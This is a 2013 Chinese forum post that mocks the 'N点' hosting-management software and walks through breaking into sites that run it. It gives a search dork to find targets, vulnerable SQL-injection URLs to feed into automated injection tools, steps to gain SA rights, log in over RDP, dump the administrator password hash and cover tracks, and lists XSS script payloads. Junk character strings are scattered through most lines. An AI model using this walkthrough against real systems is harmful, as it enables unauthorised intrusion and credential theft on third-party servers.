不得不说N点实在是一个破东西
% Q ~% K" h5 I3 Y1 A' O就算他开发的商业版，就算商业版附带了安全设置也不能掩饰他的破烂3 t9 q$ h- F+ W7 E' ]( {
好吧 抱怨一下就行了 接下来关键的时候到了
: v( u# b! g+ j) f首先百度搜索关键字：inurl: (mmdatabase.asp)
3 P2 x! T7 o3 \我随便列举一个： www.xxxx.com
* _: w+ E! A! G, v& }3 @$ p修改链接：http://www.xxxx.com:80/Style/new ... &RID=1&ID=1$ A) N: w3 X4 d) |1 ^8 c
扔入NBSI 或者啊D等各种傻逼工具后
5 ^6 X5 y" r0 @你们会看到是SA权限! A3 N* d5 l+ x
果断3389 上去 hash得到administrator密码
" j0 x/ R* F4 x+ ?& i$ {9 G擦屁股走人~3 P% A" F T# O% {4 X
经过基友本人测试10个这个程序5个以上有这个漏洞5个里面有一半是SA权限的
) h$ I* s4 S+ R& Q2 b0 P! {# L1 I . Y7 ?# H! [- P: s; }$ x' v
再附上其他几个漏洞页面1 h" k ?$ y+ n7 S+ S. f( l; h
SQL：2 U4 f, `' J$ V8 J( W4 @
http://www.xxxxxx.com:80/Style/flashad/flashad.asp?adid=1( G) C* t" Y7 z$ a3 ]& I" @) f; ?5 H
http://www.xxxxxx.com:80/Manage/ ... ogin.asp&PID=11
# `0 m6 \: E0 |http://www.xxxxxx.com:80/Manage/ ... login.asp&PID=9
* ]* m, }+ s1 H4 {. ]/ thttp://www.xxxxxx.com:80/Style/vhosting.asp?classID=2
; l0 D1 Q$ _; y7 ]' GXSS证明：
- S) J; }! M3 C0 W/ y+ C4 K5 @http://www.xxxxxx.com:80/Manage/ ... yle/memberlogin.asp”;alert(42873);”9 u T9 O) d W: ]% Z0 B
http://www.xxxxxx.com:80/Manage/ ... yle/memberlogin.asp”;alert(42873);”
# C9 X! j7 V+ H Fhttp://www.xxxxxx.com:80/Style/d ... mp;checkbox2=.bj.cn<script>alert(42873)</script>
7 r) R/ t9 ?% a1 J/ h由此可见点就是坑逼中的战斗机 自从用了他我的眼泪都流干了 有做IDC的朋友千万别步我后尘啊 便宜没好货好货不便宜
3 \" C7 @$ T0 M w5 L4 }/ v9 L- Z7 W还是星外吧 你们懂的
3 N E) h! ~! j1 C8 j, g, R作为一个商用程序 安全如此堪忧甚至于连网上开源的一些程序都有所不如，这样的公司能走多远？
6 D) A7 N# O; i9 ~ \4 \PS：其实我真的很想知道你说N点这SB asp就asp吧 为什么asp还非要MSSQL 这不是好像告诉我们快来日吧我们很容易日的，裤子都脱啦，就等你啦。 o(︶︿︶)o 唉1 j# s3 K* X2 H
——- |
发表于 2013-3-3 08:06:44
收藏
支持
反对